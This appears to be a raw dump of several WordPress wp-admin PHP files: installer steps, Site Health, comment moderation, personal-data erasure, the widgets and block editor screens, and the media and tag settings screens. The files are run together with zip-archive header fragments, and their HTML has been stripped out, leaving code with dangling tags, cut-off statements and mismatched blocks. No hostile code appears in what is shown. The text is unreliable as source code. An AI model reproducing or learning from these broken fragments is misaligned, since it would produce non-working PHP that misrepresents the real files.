' . sprintf( /* translators: %s: wp-config.php */ __( 'Your %s file has an empty database table prefix, which is not supported.' ), 'wp-config.php' ) . '

' ); } // Set error message if DO_NOT_UPGRADE_GLOBAL_TABLES isn't set as it will break install. if ( defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) { display_header(); die( '

' . __( 'Configuration Error' ) . '

' . '

' . sprintf( /* translators: %s: DO_NOT_UPGRADE_GLOBAL_TABLES */ __( 'The constant %s cannot be defined when installing WordPress.' ), 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) . '

' ); } /** * @global string $wp_local_package Locale code of the package. * @global WP_Locale $wp_locale WordPress date and time locale object. * @global wpdb $wpdb WordPress database abstraction object. */ $language = ''; if ( ! empty( $_REQUEST['language'] ) ) { $language = sanitize_locale_name( $_REQUEST['language'] ); } elseif ( isset( $GLOBALS['wp_local_package'] ) ) { $language = $GLOBALS['wp_local_package']; } $scripts_to_print = array( 'jquery' ); switch ( $step ) { case 0: // Step 0. if ( wp_can_install_language_pack() && empty( $language ) ) { $languages = wp_get_available_translations(); if ( $languages ) { $scripts_to_print[] = 'language-chooser'; display_header( 'language-chooser' ); echo '
'; wp_install_language_form( $languages ); echo '
'; break; } } // Deliberately fall through if we can't reach the translations API. case 1: // Step 1, direct link or from language chooser. if ( ! empty( $language ) ) { $loaded_language = wp_download_language_pack( $language ); if ( $loaded_language ) { load_default_textdomain( $loaded_language ); $GLOBALS['wp_locale'] = new WP_Locale(); } } $scripts_to_print[] = 'user-profile'; display_header(); ?>

error ) ) { wp_die( $wpdb->error->get_error_message() ); } $scripts_to_print[] = 'user-profile'; display_header(); // Fill in the data we gathered. $weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : ''; $user_name = isset( $_POST['user_name'] ) ? trim( wp_unslash( $_POST['user_name'] ) ) : ''; $admin_password = isset( $_POST['admin_password'] ) ? wp_unslash( $_POST['admin_password'] ) : ''; $admin_password_check = isset( $_POST['admin_password2'] ) ? wp_unslash( $_POST['admin_password2'] ) : ''; $admin_email = isset( $_POST['admin_email'] ) ? trim( wp_unslash( $_POST['admin_email'] ) ) : ''; $public = isset( $_POST['blog_public'] ) ? (int) $_POST['blog_public'] : 1; // Check email address. $error = false; if ( empty( $user_name ) ) { // TODO: Poka-yoke. display_setup_form( __( 'Please provide a valid username.' ) ); $error = true; } elseif ( sanitize_user( $user_name, true ) !== $user_name ) { display_setup_form( __( 'The username you provided has invalid characters.' ) ); $error = true; } elseif ( $admin_password !== $admin_password_check ) { // TODO: Poka-yoke. display_setup_form( __( 'Your passwords do not match. Please try again.' ) ); $error = true; } elseif ( empty( $admin_email ) ) { // TODO: Poka-yoke. display_setup_form( __( 'You must provide an email address.' ) ); $error = true; } elseif ( ! is_email( $admin_email ) ) { // TODO: Poka-yoke. display_setup_form( __( 'Sorry, that is not a valid email address. Email addresses look like username@example.com.' ) ); $error = true; } if ( false === $error ) { $wpdb->show_errors(); $result = wp_install( $weblog_title, $user_name, $admin_email, $public, '', wp_slash( $admin_password ), $loaded_language ); ?>


PK!!N((site-health.phpnu[ _x( 'Status', 'Site Health' ), /* translators: Tab heading for Site Health Info page. */ 'debug' => _x( 'Info', 'Site Health' ), ); /** * Filters the extra tabs for the Site Health navigation bar. * * Add a custom page to the Site Health screen, based on a tab slug and label. * The label you provide will also be used as part of the site title. * * @since 5.8.0 * * @param string[] $tabs An associative array of tab labels keyed by their slug. */ $tabs = apply_filters( 'site_health_navigation_tabs', $tabs ); $wrapper_classes = array( 'health-check-tabs-wrapper', 'hide-if-no-js', 'tab-count-' . count( $tabs ), ); $current_tab = $_GET['tab'] ?? ''; $title = sprintf( // translators: %s: The currently displayed tab. __( 'Site Health - %s' ), ( isset( $tabs[ $current_tab ] ) ? esc_html( $tabs[ $current_tab ] ) : esc_html( reset( $tabs ) ) ) ); if ( ! current_user_can( 'view_site_health_checks' ) ) { wp_die( __( 'Sorry, you are not allowed to access site health information.' ), '', 403 ); } wp_enqueue_style( 'site-health' ); wp_enqueue_script( 'site-health' ); if ( ! class_exists( 'WP_Site_Health' ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php'; } if ( 'update_https' === $action ) { check_admin_referer( 'wp_update_https' ); if ( ! current_user_can( 'update_https' ) ) { wp_die( __( 'Sorry, you are not allowed to update this site to HTTPS.' ), 403 ); } if ( ! wp_is_https_supported() ) { wp_die( __( 'It looks like HTTPS is not supported for your website at this point.' ) ); } $result = wp_update_urls_to_https(); wp_redirect( add_query_arg( 'https_updated', (int) $result, wp_get_referer() ) ); exit; } $health_check_site_status = WP_Site_Health::get_instance(); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'This screen allows you to obtain a health diagnosis of your site, and displays an overall rating of the status of your installation.' ) . '

' . '

' . __( 'In the Status tab, you can see critical information about your WordPress configuration, along with anything else that requires your attention.' ) . '

' . '

' . __( 'In the Info tab, you will find all the details about the configuration of your WordPress site, server, and database. There is also an export feature that allows you to copy all of the information about your site to the clipboard, to help solve problems on your site when obtaining support.' ) . '

', ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Site Health tool' ) . '

' ); // Start by checking if this is a special request checking for the existence of certain filters. $health_check_site_status->check_wp_version_check_exists(); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

'success', 'id' => 'message', 'dismissible' => true, ) ); } else { wp_admin_notice( __( 'Site URLs could not be switched to HTTPS.' ), array( 'type' => 'error', 'id' => 'message', 'dismissible' => true, ) ); } } ?>

'error', 'additional_classes' => array( 'hide-if-js' ), ) ); ?>

comment_post_ID ) ) { wp_die( __( 'You cannot edit this comment because the associated post is in the Trash. Please restore the post first, then try again.' ) ); } } else { $comment_id = 0; $comment = null; } switch ( $action ) { case 'editcomment': // Used in the HTML title tag. $title = __( 'Edit Comment' ); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'You can edit the information left in a comment if needed. This is often useful when you notice that a commenter has made a typographical error.' ) . '

' . '

' . __( 'You can also moderate the comment from this screen using the Status box, where you can also change the timestamp of the comment.' ) . '

', ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Comments' ) . '

' . '

' . __( 'Support forums' ) . '

' ); wp_enqueue_script( 'comment' ); require_once ABSPATH . 'wp-admin/admin-header.php'; if ( ! $comment ) { comment_footer_die( __( 'Invalid comment ID.' ) . sprintf( ' ' . __( 'Go back' ) . '.', 'javascript:history.go(-1)' ) ); } if ( ! current_user_can( 'edit_comment', $comment_id ) ) { comment_footer_die( __( 'Sorry, you are not allowed to edit this comment.' ) ); } if ( 'trash' === $comment->comment_approved ) { comment_footer_die( __( 'This comment is in the Trash. Please move it out of the Trash if you want to edit it.' ) ); } $comment = get_comment_to_edit( $comment_id ); require ABSPATH . 'wp-admin/edit-form-comment.php'; break; case 'delete': case 'approve': case 'trash': case 'spam': // Used in the HTML title tag. $title = __( 'Moderate Comment' ); if ( ! $comment ) { wp_redirect( admin_url( 'edit-comments.php?error=1' ) ); die(); } if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) { wp_redirect( admin_url( 'edit-comments.php?error=2' ) ); die(); } // No need to re-approve/re-trash/re-spam a comment. if ( str_replace( '1', 'approve', $comment->comment_approved ) === $action ) { wp_redirect( admin_url( 'edit-comments.php?same=' . $comment_id ) ); die(); } require_once ABSPATH . 'wp-admin/admin-header.php'; $formaction = $action . 'comment'; $nonce_action = ( 'approve' === $action ) ? 'approve-comment_' : 'delete-comment_'; $nonce_action .= $comment_id; ?>

comment_approved ) { // If not unapproved. $message = ''; switch ( $comment->comment_approved ) { case '1': $message = __( 'This comment is currently approved.' ); break; case 'spam': $message = __( 'This comment is currently marked as spam.' ); break; case 'trash': $message = __( 'This comment is currently in the Trash.' ); break; } if ( $message ) { wp_admin_notice( $message, array( 'type' => 'info', 'id' => 'message', ) ); } } wp_admin_notice( '' . __( 'Caution:' ) . ' ' . $caution_msg, array( 'type' => 'warning', 'id' => 'message', ) ); ?>
comment_post_ID; if ( current_user_can( 'edit_post', $post_id ) ) { $post_link = ""; $post_link .= esc_html( get_the_title( $post_id ) ) . ''; } else { $post_link = esc_html( get_the_title( $post_id ) ); } echo $post_link; if ( $comment->comment_parent ) { $parent = get_comment( $comment->comment_parent ); $parent_link = esc_url( get_comment_link( $parent ) ); $name = get_comment_author( $parent ); printf( /* translators: %s: Comment link. */ ' | ' . __( 'In reply to %s.' ), '' . $name . '' ); } ?>
comment_post_ID ) ) { echo '' . $submitted . ''; } else { echo $submitted; } ?>

comment_ID}" ) ); ?>">

' . __( 'Go back' ) . '.', 'edit-comments.php' ) ); } if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) { comment_footer_die( __( 'Sorry, you are not allowed to edit comments on this post.' ) ); } if ( wp_get_referer() && ! $noredir && ! str_contains( wp_get_referer(), 'comment.php' ) ) { $redir = wp_get_referer(); } elseif ( wp_get_original_referer() && ! $noredir ) { $redir = wp_get_original_referer(); } elseif ( in_array( $action, array( 'approvecomment', 'unapprovecomment' ), true ) ) { $redir = admin_url( 'edit-comments.php?p=' . absint( $comment->comment_post_ID ) ); } else { $redir = admin_url( 'edit-comments.php' ); } $redir = remove_query_arg( array( 'spammed', 'unspammed', 'trashed', 'untrashed', 'deleted', 'ids', 'approved', 'unapproved' ), $redir ); switch ( $action ) { case 'deletecomment': wp_delete_comment( $comment ); $redir = add_query_arg( array( 'deleted' => '1' ), $redir ); break; case 'trashcomment': wp_trash_comment( $comment ); $redir = add_query_arg( array( 'trashed' => '1', 'ids' => $comment_id, ), $redir ); break; case 'untrashcomment': wp_untrash_comment( $comment ); $redir = add_query_arg( array( 'untrashed' => '1' ), $redir ); break; case 'spamcomment': wp_spam_comment( $comment ); $redir = add_query_arg( array( 'spammed' => '1', 'ids' => $comment_id, ), $redir ); break; case 'unspamcomment': wp_unspam_comment( $comment ); $redir = add_query_arg( array( 'unspammed' => '1' ), $redir ); break; case 'approvecomment': wp_set_comment_status( $comment, 'approve' ); $redir = add_query_arg( array( 'approved' => 1 ), $redir ); break; case 'unapprovecomment': wp_set_comment_status( $comment, 'hold' ); $redir = add_query_arg( array( 'unapproved' => 1 ), $redir ); break; } wp_redirect( $redir ); die; case 'editedcomment': $comment_id = absint( $_POST['comment_ID'] ); $comment_post_id = absint( $_POST['comment_post_ID'] ); check_admin_referer( 'update-comment_' . $comment_id ); $updated = edit_comment(); if ( is_wp_error( $updated ) ) { wp_die( $updated->get_error_message() ); } $location = ( empty( $_POST['referredby'] ) ? "edit-comments.php?p=$comment_post_id" : $_POST['referredby'] ) . '#comment-' . $comment_id; /** * Filters the URI the user is redirected to after editing a comment in the admin. * * @since 2.1.0 * * @param string $location The URI the user will be redirected to. * @param int $comment_id The ID of the comment being edited. */ $location = apply_filters( 'comment_edit_redirect', $location, $comment_id ); wp_redirect( $location ); exit; default: wp_die( __( 'Unknown action.' ) ); } // End switch. require_once ABSPATH . 'wp-admin/admin-footer.php'; PK!GQQQerase-personal-data.phpnu[add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'This screen is where you manage requests to erase personal data.' ) . '

' . '

' . __( 'Privacy Laws around the world require businesses and online services to delete, anonymize, or forget the data they collect about an individual. The rights those laws enshrine are sometimes called the "Right to be Forgotten".' ) . '

' . '

' . __( 'The tool associates data stored in WordPress with a supplied email address, including profile data and comments.' ) . '

' . '

' . __( 'Note: As this tool only gathers data from WordPress and participating plugins, you may need to do more to comply with erasure requests. For example, you are also responsible for ensuring that data collected by or stored with the 3rd party services your organization uses gets deleted.' ) . '

', ) ); get_current_screen()->add_help_tab( array( 'id' => 'default-data', 'title' => __( 'Default Data' ), 'content' => '

' . __( 'WordPress collects (but never publishes) a limited amount of data from logged-in users but then deletes it or anonymizes it. That data can include:' ) . '

' . '

' . __( 'Profile Information — user email address, username, display name, nickname, first name, last name, description/bio, and registration date.' ) . '

' . '

' . __( 'Community Events Location — The IP Address of the user which is used for the Upcoming Community Events shown in the dashboard widget.' ) . '

' . '

' . __( 'Session Tokens — User login information, IP Addresses, Expiration Date, User Agent (Browser/OS), and Last Login.' ) . '

' . '

' . __( 'Comments — WordPress does not delete comments. The software does anonymize (but, again, never publishes) the associated Email Address, IP Address, and User Agent (Browser/OS).' ) . '

' . '

' . __( 'Media — A list of URLs for all media file uploads made by the user.' ) . '

', ) ); $privacy_policy_guide = '

' . sprintf( /* translators: %s: URL to Privacy Policy Guide screen. */ __( 'If you are not sure, check the plugin documentation or contact the plugin author to see if the plugin collects data and if it supports the Data Eraser tool. This information may be available in the Privacy Policy Guide.' ), admin_url( 'options-privacy.php?tab=policyguide' ) ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'plugin-data', 'title' => __( 'Plugin Data' ), 'content' => '

' . __( 'Many plugins may collect or store personal data either in the WordPress database or remotely. Any Erase Personal Data request should delete data from plugins as well.' ) . '

' . $privacy_policy_guide . '

' . __( 'If you are a plugin author, you can learn more about how to add the Personal Data Eraser to a plugin.' ) . '

', ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Erase Personal Data' ) . '

' . '

' . __( 'Support forums' ) . '

' ); // Handle list table actions. _wp_personal_data_handle_actions(); // Cleans up failed and expired requests before displaying the list table. _wp_personal_data_cleanup_requests(); wp_enqueue_script( 'privacy-tools' ); add_screen_option( 'per_page', array( 'default' => 20, 'option' => 'remove_personal_data_requests_per_page', ) ); $_list_table_args = array( 'plural' => 'privacy_requests', 'singular' => 'privacy_request', ); $requests_table = _get_list_table( 'WP_Privacy_Data_Removal_Requests_List_Table', $_list_table_args ); $requests_table->screen->set_screen_reader_content( array( 'heading_views' => __( 'Filter erase personal data list' ), 'heading_pagination' => __( 'Erase personal data list navigation' ), 'heading_list' => __( 'Erase personal data list' ), ) ); $requests_table->process_bulk_action(); $requests_table->prepare_items(); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>



views(); ?>
search_box( __( 'Search Requests' ), 'requests' ); ?>
display(); $requests_table->embed_scripts(); ?>
is_block_editor( true ); $block_editor_context = new WP_Block_Editor_Context( array( 'name' => 'core/edit-widgets' ) ); $preload_paths = array( array( rest_get_route_for_post_type_items( 'attachment' ), 'OPTIONS' ), '/wp/v2/widget-types?context=edit&per_page=-1', '/wp/v2/sidebars?context=edit&per_page=-1', '/wp/v2/widgets?context=edit&per_page=-1&_embed=about', ); block_editor_rest_api_preload( $preload_paths, $block_editor_context ); $editor_settings = get_block_editor_settings( array_merge( get_legacy_widget_block_editor_settings(), array( 'styles' => get_block_editor_theme_styles() ) ), $block_editor_context ); // The widgets editor does not support the Block Directory, so don't load any of // its assets. This also prevents 'wp-editor' from being enqueued which we // cannot load in the widgets screen because many widget scripts rely on `wp.editor`. remove_action( 'enqueue_block_editor_assets', 'wp_enqueue_editor_block_directory_assets' ); wp_add_inline_script( 'wp-edit-widgets', sprintf( 'wp.domReady( function() { wp.editWidgets.initialize( "widgets-editor", %s ); } );', wp_json_encode( $editor_settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) ); // Preload server-registered block schemas. wp_add_inline_script( 'wp-blocks', 'wp.blocks.unstable__bootstrapServerSideBlockDefinitions(' . wp_json_encode( get_block_editor_server_block_settings(), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . ');' ); // Preload server-registered block bindings sources. $registered_sources = get_all_registered_block_bindings_sources(); if ( ! empty( $registered_sources ) ) { $filtered_sources = array(); foreach ( $registered_sources as $source ) { $filtered_sources[] = array( 'name' => $source->name, 'label' => $source->label, 'usesContext' => $source->uses_context, ); } $script = sprintf( 'for ( const source of %s ) { wp.blocks.registerBlockBindingsSource( source ); }', wp_json_encode( $filtered_sources, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ); wp_add_inline_script( 'wp-blocks', $script ); } wp_add_inline_script( 'wp-blocks', sprintf( 'wp.blocks.setCategories( %s );', wp_json_encode( get_block_categories( $block_editor_context ), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ), 'after' ); wp_enqueue_script( 'wp-edit-widgets' ); wp_enqueue_script( 'admin-widgets' ); wp_enqueue_style( 'wp-edit-widgets' ); /** This action is documented in wp-admin/edit-form-blocks.php */ do_action( 'enqueue_block_editor_assets' ); /** This action is documented in wp-admin/widgets-form.php */ do_action( 'sidebar_admin_setup' ); require_once ABSPATH . 'wp-admin/admin-header.php'; /** This action is documented in wp-admin/widgets-form.php */ do_action( 'widgets_admin_page' ); ?>

Classic Widgets plugin.' ), esc_url( $plugin_activate_url ) ); } else { // If Classic Widgets is not installed, provide a link to install it. $installed = false; $plugin_install_url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=classic-widgets' ), 'install-plugin_classic-widgets' ); $message = sprintf( /* translators: %s: A link to install the Classic Widgets plugin. */ __( 'The block widgets require JavaScript. Please enable JavaScript in your browser settings, or install the Classic Widgets plugin.' ), esc_url( $plugin_install_url ) ); } /** * Filters the message displayed in the block widget interface when JavaScript is * not enabled in the browser. * * @since 6.4.0 * * @param string $message The message being displayed. * @param bool $installed Whether the Classic Widget plugin is installed. */ $message = apply_filters( 'block_widgets_no_javascript_message', $message, $installed ); wp_admin_notice( $message, array( 'type' => 'error', 'additional_classes' => array( 'hide-if-js' ), ) ); ?>
$post ) ); // Flag that we're loading the block editor. $current_screen = get_current_screen(); $current_screen->is_block_editor( true ); // Default to is-fullscreen-mode to avoid jumps in the UI. add_filter( 'admin_body_class', static function ( $classes ) { return "$classes is-fullscreen-mode"; } ); /* * Emoji replacement is disabled for now, until it plays nicely with React. */ remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); /* * Block editor implements its own Options menu for toggling Document Panels. */ add_filter( 'screen_options_show_screen', '__return_false' ); wp_enqueue_script( 'heartbeat' ); wp_enqueue_script( 'wp-edit-post' ); $rest_path = rest_get_route_for_post( $post ); $active_theme = get_stylesheet(); $global_styles_endpoint_context = current_user_can( 'edit_theme_options' ) ? 'edit' : 'view'; $template_lookup_slug = 'page' === $post->post_type ? 'page' : 'single-' . $post->post_type; if ( ! empty( $post->post_name ) ) { $template_lookup_slug .= '-' . $post->post_name; } // Preload common data. $preload_paths = array( '/wp/v2/types?context=view', '/wp/v2/taxonomies?context=view', add_query_arg( 'context', 'edit', $rest_path ), sprintf( '/wp/v2/types/%s?context=edit', $post_type ), '/wp/v2/users/me', array( rest_get_route_for_post_type_items( 'attachment' ), 'OPTIONS' ), array( rest_get_route_for_post_type_items( 'page' ), 'OPTIONS' ), array( rest_get_route_for_post_type_items( 'wp_block' ), 'OPTIONS' ), array( rest_get_route_for_post_type_items( 'wp_template' ), 'OPTIONS' ), sprintf( '%s/autosaves?context=edit', $rest_path ), '/wp/v2/settings', array( '/wp/v2/settings', 'OPTIONS' ), '/wp/v2/global-styles/themes/' . $active_theme . '?context=view', '/wp/v2/global-styles/themes/' . $active_theme . '/variations?context=view', '/wp/v2/themes?context=edit&status=active', array( '/wp/v2/global-styles/' . WP_Theme_JSON_Resolver::get_user_global_styles_post_id(), 'OPTIONS' ), /* * Preload the global styles path with the correct context based on user caps. * NOTE: There is an equivalent conditional check in the client-side code to fetch * the global styles entity using the appropriate context value. * See the call to `canUser()`, under `useGlobalStylesUserConfig()` in `packages/edit-site/src/components/use-global-styles-user-config/index.js`. * Please ensure that the equivalent check is kept in sync with this preload path. */ '/wp/v2/global-styles/' . WP_Theme_JSON_Resolver::get_user_global_styles_post_id() . '?context=' . $global_styles_endpoint_context, // Used by getBlockPatternCategories in useBlockEditorSettings. '/wp/v2/block-patterns/categories', /** * The preloaded URL must exactly match the request the client makes, * including the field order. * @link https://github.com/WordPress/gutenberg/blob/trunk/packages/core-data/src/entities.js */ '/?_fields=' . implode( ',', array( 'description', 'gmt_offset', 'home', 'image_max_bit_depth', 'image_sizes', 'image_size_threshold', 'image_strip_meta', 'name', 'site_icon', 'site_icon_url', 'site_logo', 'timezone_string', 'url', 'page_for_posts', 'page_on_front', 'show_on_front', ) ), add_query_arg( 'slug', // @link https://github.com/WordPress/gutenberg/blob/e093fefd041eb6cc4a4e7f67b92ab54fd75c8858/packages/core-data/src/private-selectors.ts#L244-L254 $template_lookup_slug, '/wp/v2/templates/lookup' ), '/wp/v2/templates/lookup?slug=front-page', '/wp/v2/taxonomies?context=edit', array( rest_get_route_for_post_type_items( $post_type ), 'OPTIONS' ), ); if ( post_type_supports( $post_type, 'author' ) && $post->post_author > 0 ) { $preload_paths[] = sprintf( '/wp/v2/users/%d?context=view&_fields=id,name', (int) $post->post_author ); } block_editor_rest_api_preload( $preload_paths, $block_editor_context ); wp_add_inline_script( 'wp-blocks', sprintf( 'wp.blocks.setCategories( %s );', wp_json_encode( get_block_categories( $post ), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ), 'after' ); /* * Assign initial edits, if applicable. These are not initially assigned to the persisted post, * but should be included in its save payload. */ $initial_edits = array(); $is_new_post = false; if ( 'auto-draft' === $post->post_status ) { $is_new_post = true; // Override "(Auto Draft)" new post default title with empty string, or filtered value. if ( post_type_supports( $post->post_type, 'title' ) ) { $initial_edits['title'] = $post->post_title; } if ( post_type_supports( $post->post_type, 'editor' ) ) { $initial_edits['content'] = $post->post_content; } if ( post_type_supports( $post->post_type, 'excerpt' ) ) { $initial_edits['excerpt'] = $post->post_excerpt; } } // Preload server-registered block schemas. wp_add_inline_script( 'wp-blocks', 'wp.blocks.unstable__bootstrapServerSideBlockDefinitions(' . wp_json_encode( get_block_editor_server_block_settings(), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . ');' ); // Preload server-registered block bindings sources. $registered_sources = get_all_registered_block_bindings_sources(); if ( ! empty( $registered_sources ) ) { $filtered_sources = array(); foreach ( $registered_sources as $source ) { $filtered_sources[] = array( 'name' => $source->name, 'label' => $source->label, 'usesContext' => $source->uses_context, ); } $script = sprintf( 'for ( const source of %s ) { wp.blocks.registerBlockBindingsSource( source ); }', wp_json_encode( $filtered_sources, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ); wp_add_inline_script( 'wp-blocks', $script ); } // Get admin url for handling meta boxes. $meta_box_url = admin_url( 'post.php' ); $meta_box_url = add_query_arg( array( 'post' => $post->ID, 'action' => 'edit', 'meta-box-loader' => true, 'meta-box-loader-nonce' => wp_create_nonce( 'meta-box-loader' ), ), $meta_box_url ); wp_add_inline_script( 'wp-editor', sprintf( 'var _wpMetaBoxUrl = %s;', wp_json_encode( $meta_box_url, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ), 'before' ); // Set Heartbeat interval to 10 seconds, used to refresh post locks. wp_add_inline_script( 'heartbeat', 'jQuery( function() { wp.heartbeat.interval( 10 ); } );', 'after' ); /* * Get all available templates for the post/page attributes meta-box. * The "Default template" array element should only be added if the array is * not empty so we do not trigger the template select element without any options * besides the default value. */ $available_templates = wp_get_theme()->get_page_templates( get_post( $post->ID ) ); $available_templates = ! empty( $available_templates ) ? array_replace( array( /** This filter is documented in wp-admin/includes/meta-boxes.php */ '' => apply_filters( 'default_page_template_title', __( 'Default template' ), 'rest-api' ), ), $available_templates ) : $available_templates; // Lock settings. $user_id = wp_check_post_lock( $post->ID ); if ( $user_id ) { $locked = false; /** This filter is documented in wp-admin/includes/post.php */ if ( apply_filters( 'show_post_locked_dialog', true, $post, $user_id ) ) { $locked = true; } $user_details = null; if ( $locked ) { $user = get_userdata( $user_id ); $user_details = array( 'name' => $user->display_name, ); if ( get_option( 'show_avatars' ) ) { $user_details['avatar'] = get_avatar_url( $user_id, array( 'size' => 128 ) ); } } $lock_details = array( 'isLocked' => $locked, 'user' => $user_details, ); } else { // Lock the post. $active_post_lock = wp_set_post_lock( $post->ID ); if ( $active_post_lock ) { $active_post_lock = esc_attr( implode( ':', $active_post_lock ) ); } $lock_details = array( 'isLocked' => false, 'activePostLock' => $active_post_lock, ); } /** * Filters the body placeholder text. * * @since 5.0.0 * @since 5.8.0 Changed the default placeholder text. * * @param string $text Placeholder text. Default 'Type / to choose a block'. * @param WP_Post $post Post object. */ $body_placeholder = apply_filters( 'write_your_story', __( 'Type / to choose a block' ), $post ); $editor_settings = array( 'availableTemplates' => $available_templates, 'disablePostFormats' => ! current_theme_supports( 'post-formats' ), /** This filter is documented in wp-admin/edit-form-advanced.php */ 'titlePlaceholder' => apply_filters( 'enter_title_here', __( 'Add title' ), $post ), 'bodyPlaceholder' => $body_placeholder, 'autosaveInterval' => AUTOSAVE_INTERVAL, 'richEditingEnabled' => user_can_richedit(), 'postLock' => $lock_details, 'postLockUtils' => array( 'nonce' => wp_create_nonce( 'lock-post_' . $post->ID ), 'unlockNonce' => wp_create_nonce( 'update-post_' . $post->ID ), 'ajaxUrl' => admin_url( 'admin-ajax.php' ), ), 'supportsLayout' => wp_theme_has_theme_json(), 'supportsTemplateMode' => current_theme_supports( 'block-templates' ), // Whether or not to load the 'postcustom' meta box is stored as a user meta // field so that we're not always loading its assets. 'enableCustomFields' => (bool) get_user_meta( get_current_user_id(), 'enable_custom_fields', true ), ); // Add additional back-compat patterns registered by `current_screen` et al. $editor_settings['__experimentalAdditionalBlockPatterns'] = WP_Block_Patterns_Registry::get_instance()->get_all_registered( true ); $editor_settings['__experimentalAdditionalBlockPatternCategories'] = WP_Block_Pattern_Categories_Registry::get_instance()->get_all_registered( true ); $autosave = wp_get_post_autosave( $post->ID ); if ( $autosave ) { if ( mysql2date( 'U', $autosave->post_modified_gmt, false ) > mysql2date( 'U', $post->post_modified_gmt, false ) ) { $editor_settings['autosave'] = array( 'editLink' => get_edit_post_link( $autosave->ID ), ); } else { wp_delete_post_revision( $autosave->ID ); } } if ( ! empty( $post_type_object->template ) ) { $editor_settings['template'] = $post_type_object->template; $editor_settings['templateLock'] = ! empty( $post_type_object->template_lock ) ? $post_type_object->template_lock : false; } // If there's no template set on a new post, use the post format, instead. if ( $is_new_post && ! isset( $editor_settings['template'] ) && 'post' === $post->post_type ) { $post_format = get_post_format( $post ); if ( in_array( $post_format, array( 'audio', 'gallery', 'image', 'quote', 'video' ), true ) ) { $editor_settings['template'] = array( array( "core/$post_format" ) ); } } if ( wp_is_block_theme() && $editor_settings['supportsTemplateMode'] ) { $editor_settings['defaultTemplatePartAreas'] = get_allowed_block_template_part_areas(); } /** * Scripts */ wp_enqueue_media( array( 'post' => $post->ID, ) ); wp_tinymce_inline_scripts(); wp_enqueue_editor(); /** * Styles */ wp_enqueue_style( 'wp-edit-post' ); /** * Fires after block assets have been enqueued for the editing interface. * * Call `add_action` on any hook before 'admin_enqueue_scripts'. * * In the function call you supply, simply use `wp_enqueue_script` and * `wp_enqueue_style` to add your functionality to the block editor. * * @since 5.0.0 */ do_action( 'enqueue_block_editor_assets' ); // In order to duplicate classic meta box behavior, we need to run the classic meta box actions. require_once ABSPATH . 'wp-admin/includes/meta-boxes.php'; register_and_do_post_meta_boxes( $post ); // Check if the Custom Fields meta box has been removed at some point. $core_meta_boxes = $wp_meta_boxes[ $current_screen->id ]['normal']['core']; if ( ! isset( $core_meta_boxes['postcustom'] ) || ! $core_meta_boxes['postcustom'] ) { unset( $editor_settings['enableCustomFields'] ); } $editor_settings = get_block_editor_settings( $editor_settings, $block_editor_context ); $init_script = <<post_type, $post->ID, wp_json_encode( $editor_settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ), wp_json_encode( $initial_edits, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ); wp_add_inline_script( 'wp-edit-post', $script ); if ( (int) get_option( 'page_for_posts' ) === $post->ID ) { add_action( 'admin_enqueue_scripts', '_wp_block_editor_posts_page_notice' ); } require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

Classic Editor plugin.' ), esc_url( $plugin_activate_url ) ); } else { // If Classic Editor is not installed, provide a link to install it. $installed = false; $plugin_install_url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=classic-editor' ), 'install-plugin_classic-editor' ); $message = sprintf( /* translators: %s: Link to install the Classic Editor plugin. */ __( 'The block editor requires JavaScript. Please enable JavaScript in your browser settings, or install the Classic Editor plugin.' ), esc_url( $plugin_install_url ) ); } /** * Filters the message displayed in the block editor interface when JavaScript is * not enabled in the browser. * * @since 5.0.3 * @since 6.4.0 Added `$installed` parameter. * * @param string $message The message being displayed. * @param WP_Post $post The post being edited. * @param bool $installed Whether the classic editor is installed. */ $message = apply_filters( 'block_editor_no_javascript_message', $message, $post, $installed ); wp_admin_notice( $message, array( 'type' => 'error', ) ); ?>
PK!7 link-parse-opml.phpnu[' . __( 'You can set maximum sizes for images inserted into your written content; you can also insert an image as Full Size.' ) . '

'; if ( ! is_multisite() && ( get_option( 'upload_url_path' ) || get_option( 'upload_path' ) && 'wp-content/uploads' !== get_option( 'upload_path' ) ) ) { $media_options_help .= '

' . __( 'Uploading Files allows you to choose the folder and path for storing your uploaded files.' ) . '

'; } $media_options_help .= '

' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $media_options_help, ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Media Settings' ) . '

' . '

' . __( 'Support forums' ) . '

' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

PK!n ))edit-tag-form.phpnu[

labels->edit_item; ?>

' . $message . '

'; if ( $wp_http_referer ) { $message .= sprintf( '

%2$s

